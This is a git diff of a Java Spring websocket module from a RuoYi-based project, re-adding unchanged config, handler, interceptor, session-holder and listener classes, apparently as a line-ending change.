- + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-websocket + + + ruoyi-common-websocket 模块 + + + + + org.dromara + ruoyi-common-core + + + org.dromara + ruoyi-common-redis + + + org.dromara + ruoyi-common-satoken + + + org.dromara + ruoyi-common-json + + + org.springframework.boot + spring-boot-starter-websocket + + + org.springframework.boot + spring-boot-starter-tomcat + + + + + diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/WebSocketConfig.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/WebSocketConfig.java index ef5cfc9..0d72581 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/WebSocketConfig.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/WebSocketConfig.java @@ -1,63 +1,63 @@ -package org.dromara.common.websocket.config; - -import cn.hutool.core.util.StrUtil; -import org.dromara.common.websocket.config.properties.WebSocketProperties; -import org.dromara.common.websocket.handler.PlusWebSocketHandler; -import org.dromara.common.websocket.interceptor.PlusWebSocketInterceptor; -import org.dromara.common.websocket.listener.WebSocketTopicListener; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.web.socket.WebSocketHandler; -import org.springframework.web.socket.config.annotation.EnableWebSocket; -import org.springframework.web.socket.config.annotation.WebSocketConfigurer; -import org.springframework.web.socket.server.HandshakeInterceptor; - -/** - * WebSocket 配置 - * - * @author zendwang - */ -@AutoConfiguration -@ConditionalOnProperty(value = "websocket.enabled", havingValue = "true") -@EnableConfigurationProperties(WebSocketProperties.class) -@EnableWebSocket -public class WebSocketConfig { - - @Bean - public WebSocketConfigurer webSocketConfigurer(HandshakeInterceptor handshakeInterceptor, - WebSocketHandler webSocketHandler, WebSocketProperties webSocketProperties) { - // 如果WebSocket的路径为空,则设置默认路径为 "/websocket" - if (StrUtil.isBlank(webSocketProperties.getPath())) { - webSocketProperties.setPath("/websocket"); - } - - // 如果允许跨域访问的地址为空,则设置为 "*",表示允许所有来源的跨域请求 - if (StrUtil.isBlank(webSocketProperties.getAllowedOrigins())) { - webSocketProperties.setAllowedOrigins("*"); - } - - // 返回一个WebSocketConfigurer对象,用于配置WebSocket - return registry -> registry - // 添加WebSocket处理程序和拦截器到指定路径,设置允许的跨域来源 - .addHandler(webSocketHandler, webSocketProperties.getPath()) - .addInterceptors(handshakeInterceptor) - .setAllowedOrigins(webSocketProperties.getAllowedOrigins()); - } - - @Bean - public HandshakeInterceptor handshakeInterceptor() { - return new PlusWebSocketInterceptor(); - } - - @Bean - public WebSocketHandler webSocketHandler() { - return new PlusWebSocketHandler(); - } - - @Bean - public WebSocketTopicListener topicListener() { - return new WebSocketTopicListener(); - } -} +package org.dromara.common.websocket.config; + +import cn.hutool.core.util.StrUtil; +import org.dromara.common.websocket.config.properties.WebSocketProperties; +import org.dromara.common.websocket.handler.PlusWebSocketHandler; +import org.dromara.common.websocket.interceptor.PlusWebSocketInterceptor; +import org.dromara.common.websocket.listener.WebSocketTopicListener; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.web.socket.WebSocketHandler; +import org.springframework.web.socket.config.annotation.EnableWebSocket; +import org.springframework.web.socket.config.annotation.WebSocketConfigurer; +import org.springframework.web.socket.server.HandshakeInterceptor; + +/** + * WebSocket 配置 + * + * @author zendwang + */ +@AutoConfiguration +@ConditionalOnProperty(value = "websocket.enabled", havingValue = "true") +@EnableConfigurationProperties(WebSocketProperties.class) +@EnableWebSocket +public class WebSocketConfig { + + @Bean + public WebSocketConfigurer webSocketConfigurer(HandshakeInterceptor handshakeInterceptor, + WebSocketHandler webSocketHandler, WebSocketProperties webSocketProperties) { + // 如果WebSocket的路径为空,则设置默认路径为 "/websocket" + if (StrUtil.isBlank(webSocketProperties.getPath())) { + webSocketProperties.setPath("/websocket"); + } + + // 如果允许跨域访问的地址为空,则设置为 "*",表示允许所有来源的跨域请求 + if (StrUtil.isBlank(webSocketProperties.getAllowedOrigins())) { + webSocketProperties.setAllowedOrigins("*"); + } + + // 返回一个WebSocketConfigurer对象,用于配置WebSocket + return registry -> registry + // 添加WebSocket处理程序和拦截器到指定路径,设置允许的跨域来源 + .addHandler(webSocketHandler, webSocketProperties.getPath()) + .addInterceptors(handshakeInterceptor) + .setAllowedOrigins(webSocketProperties.getAllowedOrigins()); + } + + @Bean + public HandshakeInterceptor handshakeInterceptor() { + return new PlusWebSocketInterceptor(); + } + + @Bean + public WebSocketHandler webSocketHandler() { + return new PlusWebSocketHandler(); + } + + @Bean + public WebSocketTopicListener topicListener() { + return new WebSocketTopicListener(); + } +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/properties/WebSocketProperties.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/properties/WebSocketProperties.java index d629fe5..a0c1d76 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/properties/WebSocketProperties.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/config/properties/WebSocketProperties.java @@ -1,26 +1,26 @@ -package org.dromara.common.websocket.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * WebSocket 配置项 - * - * @author zendwang - */ -@ConfigurationProperties("websocket") -@Data -public class WebSocketProperties { - - private Boolean enabled; - - /** - * 路径 - */ - private String path; - - /** - * 设置访问源地址 - */ - private String allowedOrigins; -} +package org.dromara.common.websocket.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * WebSocket 配置项 + * + * @author zendwang + */ +@ConfigurationProperties("websocket") +@Data +public class WebSocketProperties { + + private Boolean enabled; + + /** + * 路径 + */ + private String path; + + /** + * 设置访问源地址 + */ + private String allowedOrigins; +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/constant/WebSocketConstants.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/constant/WebSocketConstants.java index e243279..e47a224 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/constant/WebSocketConstants.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/constant/WebSocketConstants.java @@ -1,29 +1,29 @@ -package org.dromara.common.websocket.constant; - -/** - * websocket的常量配置 - * - * @author zendwang - */ -public interface WebSocketConstants { - - /** - * websocketSession中的参数的key - */ - String LOGIN_USER_KEY = "loginUser"; - - /** - * 订阅的频道 - */ - String WEB_SOCKET_TOPIC = "global:websocket"; - - /** - * 前端心跳检查的命令 - */ - String PING = "ping"; - - /** - * 服务端心跳恢复的字符串 - */ - String PONG = "pong"; -} +package org.dromara.common.websocket.constant; + +/** + * websocket的常量配置 + * + * @author zendwang + */ +public interface WebSocketConstants { + + /** + * websocketSession中的参数的key + */ + String LOGIN_USER_KEY = "loginUser"; + + /** + * 订阅的频道 + */ + String WEB_SOCKET_TOPIC = "global:websocket"; + + /** + * 前端心跳检查的命令 + */ + String PING = "ping"; + + /** + * 服务端心跳恢复的字符串 + */ + String PONG = "pong"; +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/dto/WebSocketMessageDto.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/dto/WebSocketMessageDto.java index e2d4456..bf9edf5 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/dto/WebSocketMessageDto.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/dto/WebSocketMessageDto.java @@ -1,29 +1,29 @@ -package org.dromara.common.websocket.dto; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 消息的dto - * - * @author zendwang - */ -@Data -public class WebSocketMessageDto implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 需要推送到的session key 列表 - */ - private List sessionKeys; - - /** - * 需要发送的消息 - */ - private String message; -} +package org.dromara.common.websocket.dto; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 消息的dto + * + * @author zendwang + */ +@Data +public class WebSocketMessageDto implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 需要推送到的session key 列表 + */ + private List sessionKeys; + + /** + * 需要发送的消息 + */ + private String message; +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/handler/PlusWebSocketHandler.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/handler/PlusWebSocketHandler.java index 8b1cc5d..e6512cb 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/handler/PlusWebSocketHandler.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/handler/PlusWebSocketHandler.java @@ -1,122 +1,122 @@ -package org.dromara.common.websocket.handler; - -import cn.hutool.core.util.ObjectUtil; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.websocket.dto.WebSocketMessageDto; -import org.dromara.common.websocket.holder.WebSocketSessionHolder; -import org.dromara.common.websocket.utils.WebSocketUtils; -import org.springframework.web.socket.*; -import org.springframework.web.socket.handler.AbstractWebSocketHandler; - -import java.io.IOException; -import java.util.List; - -import static org.dromara.common.websocket.constant.WebSocketConstants.LOGIN_USER_KEY; - -/** - * WebSocketHandler 实现类 - * - * @author zendwang - */ -@Slf4j -public class PlusWebSocketHandler extends AbstractWebSocketHandler { - - /** - * 连接成功后 - */ - @Override - public void afterConnectionEstablished(WebSocketSession session) throws IOException { - LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); - if (ObjectUtil.isNull(loginUser)) { - session.close(CloseStatus.BAD_DATA); - log.info("[connect] invalid token received. sessionId: {}", session.getId()); - return; - } - WebSocketSessionHolder.addSession(loginUser.getUserId(), session); - log.info("[connect] sessionId: {},userId:{},userType:{}", session.getId(), loginUser.getUserId(), loginUser.getUserType()); - } - - /** - * 处理接收到的文本消息 - * - * @param session WebSocket会话 - * @param message 接收到的文本消息 - * @throws Exception 处理消息过程中可能抛出的异常 - */ - @Override - protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception { - // 从WebSocket会话中获取登录用户信息 - LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); - - // 创建WebSocket消息DTO对象 - WebSocketMessageDto webSocketMessageDto = new WebSocketMessageDto(); - webSocketMessageDto.setSessionKeys(List.of(loginUser.getUserId())); - webSocketMessageDto.setMessage(message.getPayload()); - WebSocketUtils.publishMessage(webSocketMessageDto); - } - - /** - * 处理接收到的二进制消息 - * - * @param session WebSocket会话 - * @param message 接收到的二进制消息 - * @throws Exception 处理消息过程中可能抛出的异常 - */ - @Override - protected void handleBinaryMessage(WebSocketSession session, BinaryMessage message) throws Exception { - super.handleBinaryMessage(session, message); - } - - /** - * 处理接收到的Pong消息(心跳监测) - * - * @param session WebSocket会话 - * @param message 接收到的Pong消息 - * @throws Exception 处理消息过程中可能抛出的异常 - */ - @Override - protected void handlePongMessage(WebSocketSession session, PongMessage message) throws Exception { - WebSocketUtils.sendPongMessage(session); - } - - /** - * 处理WebSocket传输错误 - * - * @param session WebSocket会话 - * @param exception 发生的异常 - * @throws Exception 处理过程中可能抛出的异常 - */ - @Override - public void handleTransportError(WebSocketSession session, Throwable exception) throws Exception { - log.error("[transport error] sessionId: {} , exception:{}", session.getId(), exception.getMessage()); - } - - /** - * 在WebSocket连接关闭后执行清理操作 - * - * @param session WebSocket会话 - * @param status 关闭状态信息 - */ - @Override - public void afterConnectionClosed(WebSocketSession session, CloseStatus status) { - LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); - if (ObjectUtil.isNull(loginUser)) { - log.info("[disconnect] invalid token received. sessionId: {}", session.getId()); - return; - } - WebSocketSessionHolder.removeSession(loginUser.getUserId()); - log.info("[disconnect] sessionId: {},userId:{},userType:{}", session.getId(), loginUser.getUserId(), loginUser.getUserType()); - } - - /** - * 指示处理程序是否支持接收部分消息 - * - * @return 如果支持接收部分消息,则返回true;否则返回false - */ - @Override - public boolean supportsPartialMessages() { - return false; - } - -} +package org.dromara.common.websocket.handler; + +import cn.hutool.core.util.ObjectUtil; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.websocket.dto.WebSocketMessageDto; +import org.dromara.common.websocket.holder.WebSocketSessionHolder; +import org.dromara.common.websocket.utils.WebSocketUtils; +import org.springframework.web.socket.*; +import org.springframework.web.socket.handler.AbstractWebSocketHandler; + +import java.io.IOException; +import java.util.List; + +import static org.dromara.common.websocket.constant.WebSocketConstants.LOGIN_USER_KEY; + +/** + * WebSocketHandler 实现类 + * + * @author zendwang + */ +@Slf4j +public class PlusWebSocketHandler extends AbstractWebSocketHandler { + + /** + * 连接成功后 + */ + @Override + public void afterConnectionEstablished(WebSocketSession session) throws IOException { + LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); + if (ObjectUtil.isNull(loginUser)) { + session.close(CloseStatus.BAD_DATA); + log.info("[connect] invalid token received. sessionId: {}", session.getId()); + return; + } + WebSocketSessionHolder.addSession(loginUser.getUserId(), session); + log.info("[connect] sessionId: {},userId:{},userType:{}", session.getId(), loginUser.getUserId(), loginUser.getUserType()); + } + + /** + * 处理接收到的文本消息 + * + * @param session WebSocket会话 + * @param message 接收到的文本消息 + * @throws Exception 处理消息过程中可能抛出的异常 + */ + @Override + protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception { + // 从WebSocket会话中获取登录用户信息 + LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); + + // 创建WebSocket消息DTO对象 + WebSocketMessageDto webSocketMessageDto = new WebSocketMessageDto(); + webSocketMessageDto.setSessionKeys(List.of(loginUser.getUserId())); + webSocketMessageDto.setMessage(message.getPayload()); + WebSocketUtils.publishMessage(webSocketMessageDto); + } + + /** + * 处理接收到的二进制消息 + * + * @param session WebSocket会话 + * @param message 接收到的二进制消息 + * @throws Exception 处理消息过程中可能抛出的异常 + */ + @Override + protected void handleBinaryMessage(WebSocketSession session, BinaryMessage message) throws Exception { + super.handleBinaryMessage(session, message); + } + + /** + * 处理接收到的Pong消息(心跳监测) + * + * @param session WebSocket会话 + * @param message 接收到的Pong消息 + * @throws Exception 处理消息过程中可能抛出的异常 + */ + @Override + protected void handlePongMessage(WebSocketSession session, PongMessage message) throws Exception { + WebSocketUtils.sendPongMessage(session); + } + + /** + * 处理WebSocket传输错误 + * + * @param session WebSocket会话 + * @param exception 发生的异常 + * @throws Exception 处理过程中可能抛出的异常 + */ + @Override + public void handleTransportError(WebSocketSession session, Throwable exception) throws Exception { + log.error("[transport error] sessionId: {} , exception:{}", session.getId(), exception.getMessage()); + } + + /** + * 在WebSocket连接关闭后执行清理操作 + * + * @param session WebSocket会话 + * @param status 关闭状态信息 + */ + @Override + public void afterConnectionClosed(WebSocketSession session, CloseStatus status) { + LoginUser loginUser = (LoginUser) session.getAttributes().get(LOGIN_USER_KEY); + if (ObjectUtil.isNull(loginUser)) { + log.info("[disconnect] invalid token received. sessionId: {}", session.getId()); + return; + } + WebSocketSessionHolder.removeSession(loginUser.getUserId()); + log.info("[disconnect] sessionId: {},userId:{},userType:{}", session.getId(), loginUser.getUserId(), loginUser.getUserType()); + } + + /** + * 指示处理程序是否支持接收部分消息 + * + * @return 如果支持接收部分消息,则返回true;否则返回false + */ + @Override + public boolean supportsPartialMessages() { + return false; + } + +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/holder/WebSocketSessionHolder.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/holder/WebSocketSessionHolder.java index 368801c..93330e7 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/holder/WebSocketSessionHolder.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/holder/WebSocketSessionHolder.java @@ -1,70 +1,70 @@ -package org.dromara.common.websocket.holder; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.springframework.web.socket.WebSocketSession; - -import java.util.Map; -import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; - -/** - * WebSocketSession 用于保存当前所有在线的会话信息 - * - * @author zendwang - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class WebSocketSessionHolder { - - private static final Map USER_SESSION_MAP = new ConcurrentHashMap<>(); - - /** - * 将WebSocket会话添加到用户会话Map中 - * - * @param sessionKey 会话键,用于检索会话 - * @param session 要添加的WebSocket会话 - */ - public static void addSession(Long sessionKey, WebSocketSession session) { - USER_SESSION_MAP.put(sessionKey, session); - } - - /** - * 从用户会话Map中移除指定会话键对应的WebSocket会话 - * - * @param sessionKey 要移除的会话键 - */ - public static void removeSession(Long sessionKey) { - if (USER_SESSION_MAP.containsKey(sessionKey)) { - USER_SESSION_MAP.remove(sessionKey); - } - } - - /** - * 根据会话键从用户会话Map中获取WebSocket会话 - * - * @param sessionKey 要获取的会话键 - * @return 与给定会话键对应的WebSocket会话,如果不存在则返回null - */ - public static WebSocketSession getSessions(Long sessionKey) { - return USER_SESSION_MAP.get(sessionKey); - } - - /** - * 获取存储在用户会话Map中所有WebSocket会话的会话键集合 - * - * @return 所有WebSocket会话的会话键集合 - */ - public static Set getSessionsAll() { - return USER_SESSION_MAP.keySet(); - } - - /** - * 检查给定的会话键是否存在于用户会话Map中 - * - * @param sessionKey 要检查的会话键 - * @return 如果存在对应的会话键,则返回true;否则返回false - */ - public static Boolean existSession(Long sessionKey) { - return USER_SESSION_MAP.containsKey(sessionKey); - } -} +package org.dromara.common.websocket.holder; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.springframework.web.socket.WebSocketSession; + +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; + +/** + * WebSocketSession 用于保存当前所有在线的会话信息 + * + * @author zendwang + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class WebSocketSessionHolder { + + private static final Map USER_SESSION_MAP = new ConcurrentHashMap<>(); + + /** + * 将WebSocket会话添加到用户会话Map中 + * + * @param sessionKey 会话键,用于检索会话 + * @param session 要添加的WebSocket会话 + */ + public static void addSession(Long sessionKey, WebSocketSession session) { + USER_SESSION_MAP.put(sessionKey, session); + } + + /** + * 从用户会话Map中移除指定会话键对应的WebSocket会话 + * + * @param sessionKey 要移除的会话键 + */ + public static void removeSession(Long sessionKey) { + if (USER_SESSION_MAP.containsKey(sessionKey)) { + USER_SESSION_MAP.remove(sessionKey); + } + } + + /** + * 根据会话键从用户会话Map中获取WebSocket会话 + * + * @param sessionKey 要获取的会话键 + * @return 与给定会话键对应的WebSocket会话,如果不存在则返回null + */ + public static WebSocketSession getSessions(Long sessionKey) { + return USER_SESSION_MAP.get(sessionKey); + } + + /** + * 获取存储在用户会话Map中所有WebSocket会话的会话键集合 + * + * @return 所有WebSocket会话的会话键集合 + */ + public static Set getSessionsAll() { + return USER_SESSION_MAP.keySet(); + } + + /** + * 检查给定的会话键是否存在于用户会话Map中 + * + * @param sessionKey 要检查的会话键 + * @return 如果存在对应的会话键,则返回true;否则返回false + */ + public static Boolean existSession(Long sessionKey) { + return USER_SESSION_MAP.containsKey(sessionKey); + } +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/interceptor/PlusWebSocketInterceptor.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/interceptor/PlusWebSocketInterceptor.java index c70e377..1290ab8 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/interceptor/PlusWebSocketInterceptor.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/interceptor/PlusWebSocketInterceptor.java @@ -1,75 +1,75 @@ -package org.dromara.common.websocket.interceptor; - -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.stp.StpUtil; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.springframework.http.server.ServerHttpRequest; -import org.springframework.http.server.ServerHttpResponse; -import org.springframework.web.socket.WebSocketHandler; -import org.springframework.web.socket.server.HandshakeInterceptor; - -import java.util.Map; - -import static org.dromara.common.websocket.constant.WebSocketConstants.LOGIN_USER_KEY; - -/** - * WebSocket握手请求的拦截器 - * - * @author zendwang - */ -@Slf4j -public class PlusWebSocketInterceptor implements HandshakeInterceptor { - - /** - * WebSocket握手之前执行的前置处理方法 - * - * @param request WebSocket握手请求 - * @param response WebSocket握手响应 - * @param wsHandler WebSocket处理程序 - * @param attributes 与WebSocket会话关联的属性 - * @return 如果允许握手继续进行,则返回true;否则返回false - */ - @Override - public boolean beforeHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler, Map attributes) { - try { - // 检查是否登录 是否有token - LoginUser loginUser = LoginHelper.getLoginUser(); - - // 解决 ws 不走 mvc 拦截器问题(cloud 版本不受影响) - // 检查 header 与 param 里的 clientid 与 token 里的是否一致 - String headerCid = ServletUtils.getRequest().getHeader(LoginHelper.CLIENT_KEY); - String paramCid = ServletUtils.getParameter(LoginHelper.CLIENT_KEY); - String clientId = StpUtil.getExtra(LoginHelper.CLIENT_KEY).toString(); - if (!StringUtils.equalsAny(clientId, headerCid, paramCid)) { - // token 无效 - throw NotLoginException.newInstance(StpUtil.getLoginType(), - "-100", "客户端ID与Token不匹配", - StpUtil.getTokenValue()); - } - - attributes.put(LOGIN_USER_KEY, loginUser); - return true; - } catch (NotLoginException e) { - log.error("WebSocket 认证失败'{}',无法访问系统资源", e.getMessage()); - return false; - } - } - - /** - * WebSocket握手成功后执行的后置处理方法 - * - * @param request WebSocket握手请求 - * @param response WebSocket握手响应 - * @param wsHandler WebSocket处理程序 - * @param exception 握手过程中可能出现的异常 - */ - @Override - public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler, Exception exception) { - // 在这个方法中可以执行一些握手成功后的后续处理逻辑,比如记录日志或者其他操作 - } - -} +package org.dromara.common.websocket.interceptor; + +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.stp.StpUtil; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.web.socket.WebSocketHandler; +import org.springframework.web.socket.server.HandshakeInterceptor; + +import java.util.Map; + +import static org.dromara.common.websocket.constant.WebSocketConstants.LOGIN_USER_KEY; + +/** + * WebSocket握手请求的拦截器 + * + * @author zendwang + */ +@Slf4j +public class PlusWebSocketInterceptor implements HandshakeInterceptor { + + /** + * WebSocket握手之前执行的前置处理方法 + * + * @param request WebSocket握手请求 + * @param response WebSocket握手响应 + * @param wsHandler WebSocket处理程序 + * @param attributes 与WebSocket会话关联的属性 + * @return 如果允许握手继续进行,则返回true;否则返回false + */ + @Override + public boolean beforeHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler, Map attributes) { + try { + // 检查是否登录 是否有token + LoginUser loginUser = LoginHelper.getLoginUser(); + + // 解决 ws 不走 mvc 拦截器问题(cloud 版本不受影响) + // 检查 header 与 param 里的 clientid 与 token 里的是否一致 + String headerCid = ServletUtils.getRequest().getHeader(LoginHelper.CLIENT_KEY); + String paramCid = ServletUtils.getParameter(LoginHelper.CLIENT_KEY); + String clientId = StpUtil.getExtra(LoginHelper.CLIENT_KEY).toString(); + if (!StringUtils.equalsAny(clientId, headerCid, paramCid)) { + // token 无效 + throw NotLoginException.newInstance(StpUtil.getLoginType(), + "-100", "客户端ID与Token不匹配", + StpUtil.getTokenValue()); + } + + attributes.put(LOGIN_USER_KEY, loginUser); + return true; + } catch (NotLoginException e) { + log.error("WebSocket 认证失败'{}',无法访问系统资源", e.getMessage()); + return false; + } + } + + /** + * WebSocket握手成功后执行的后置处理方法 + * + * @param request WebSocket握手请求 + * @param response WebSocket握手响应 + * @param wsHandler WebSocket处理程序 + * @param exception 握手过程中可能出现的异常 + */ + @Override + public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response, WebSocketHandler wsHandler, Exception exception) { + // 在这个方法中可以执行一些握手成功后的后续处理逻辑,比如记录日志或者其他操作 + } + +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/listener/WebSocketTopicListener.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/listener/WebSocketTopicListener.java index 0ad39af..1d42a41 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/listener/WebSocketTopicListener.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/listener/WebSocketTopicListener.java @@ -1,50 +1,50 @@ -package org.dromara.common.websocket.listener; - -import cn.hutool.core.collection.CollUtil; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.websocket.holder.WebSocketSessionHolder; -import org.dromara.common.websocket.utils.WebSocketUtils; -import org.springframework.boot.ApplicationArguments; -import org.springframework.boot.ApplicationRunner; -import org.springframework.core.Ordered; - -/** - * WebSocket 主题订阅监听器 - * - * @author zendwang - */ -@Slf4j -public class WebSocketTopicListener implements ApplicationRunner, Ordered { - - /** - * 在Spring Boot应用程序启动时初始化WebSocket主题订阅监听器 - * - * @param args 应用程序参数 - * @throws Exception 初始化过程中可能抛出的异常 - */ - @Override - public void run(ApplicationArguments args) throws Exception { - // 订阅WebSocket消息 - WebSocketUtils.subscribeMessage((message) -> { - log.info("WebSocket主题订阅收到消息session keys={} message={}", message.getSessionKeys(), message.getMessage()); - // 如果key不为空就按照key发消息 如果为空就群发 - if (CollUtil.isNotEmpty(message.getSessionKeys())) { - message.getSessionKeys().forEach(key -> { - if (WebSocketSessionHolder.existSession(key)) { - WebSocketUtils.sendMessage(key, message.getMessage()); - } - }); - } else { - WebSocketSessionHolder.getSessionsAll().forEach(key -> { - WebSocketUtils.sendMessage(key, message.getMessage()); - }); - } - }); - log.info("初始化WebSocket主题订阅监听器成功"); - } - - @Override - public int getOrder() { - return -1; - } -} +package org.dromara.common.websocket.listener; + +import cn.hutool.core.collection.CollUtil; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.websocket.holder.WebSocketSessionHolder; +import org.dromara.common.websocket.utils.WebSocketUtils; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.core.Ordered; + +/** + * WebSocket 主题订阅监听器 + * + * @author zendwang + */ +@Slf4j +public class WebSocketTopicListener implements ApplicationRunner, Ordered { + + /** + * 在Spring Boot应用程序启动时初始化WebSocket主题订阅监听器 + * + * @param args 应用程序参数 + * @throws Exception 初始化过程中可能抛出的异常 + */ + @Override + public void run(ApplicationArguments args) throws Exception { + // 订阅WebSocket消息 + WebSocketUtils.subscribeMessage((message) -> { + log.info("WebSocket主题订阅收到消息session keys={} message={}", message.getSessionKeys(), message.getMessage()); + // 如果key不为空就按照key发消息 如果为空就群发 + if (CollUtil.isNotEmpty(message.getSessionKeys())) { + message.getSessionKeys().forEach(key -> { + if (WebSocketSessionHolder.existSession(key)) { + WebSocketUtils.sendMessage(key, message.getMessage()); + } + }); + } else { + WebSocketSessionHolder.getSessionsAll().forEach(key -> { + WebSocketUtils.sendMessage(key, message.getMessage()); + }); + } + }); + log.info("初始化WebSocket主题订阅监听器成功"); + } + + @Override + public int getOrder() { + return -1; + } +} diff --git a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/utils/WebSocketUtils.java b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/utils/WebSocketUtils.java index 8c4170a..6fb75eb 100644 --- a/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/utils/WebSocketUtils.java +++ b/ruoyi-common/ruoyi-common-websocket/src/main/java/org/dromara/common/websocket/utils/WebSocketUtils.java @@ -1,127 +1,127 @@ -package org.dromara.common.websocket.utils; - -import cn.hutool.core.collection.CollUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.websocket.dto.WebSocketMessageDto; -import org.dromara.common.websocket.holder.WebSocketSessionHolder; -import org.springframework.web.socket.PongMessage; -import org.springframework.web.socket.TextMessage; -import org.springframework.web.socket.WebSocketMessage; -import org.springframework.web.socket.WebSocketSession; - -import java.io.IOException; -import java.util.ArrayList; -import java.util.List; -import java.util.function.Consumer; - -import static org.dromara.common.websocket.constant.WebSocketConstants.WEB_SOCKET_TOPIC; - -/** - * 工具类 - * - * @author zendwang - */ -@Slf4j -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class WebSocketUtils { - - /** - * 向指定的WebSocket会话发送消息 - * - * @param sessionKey 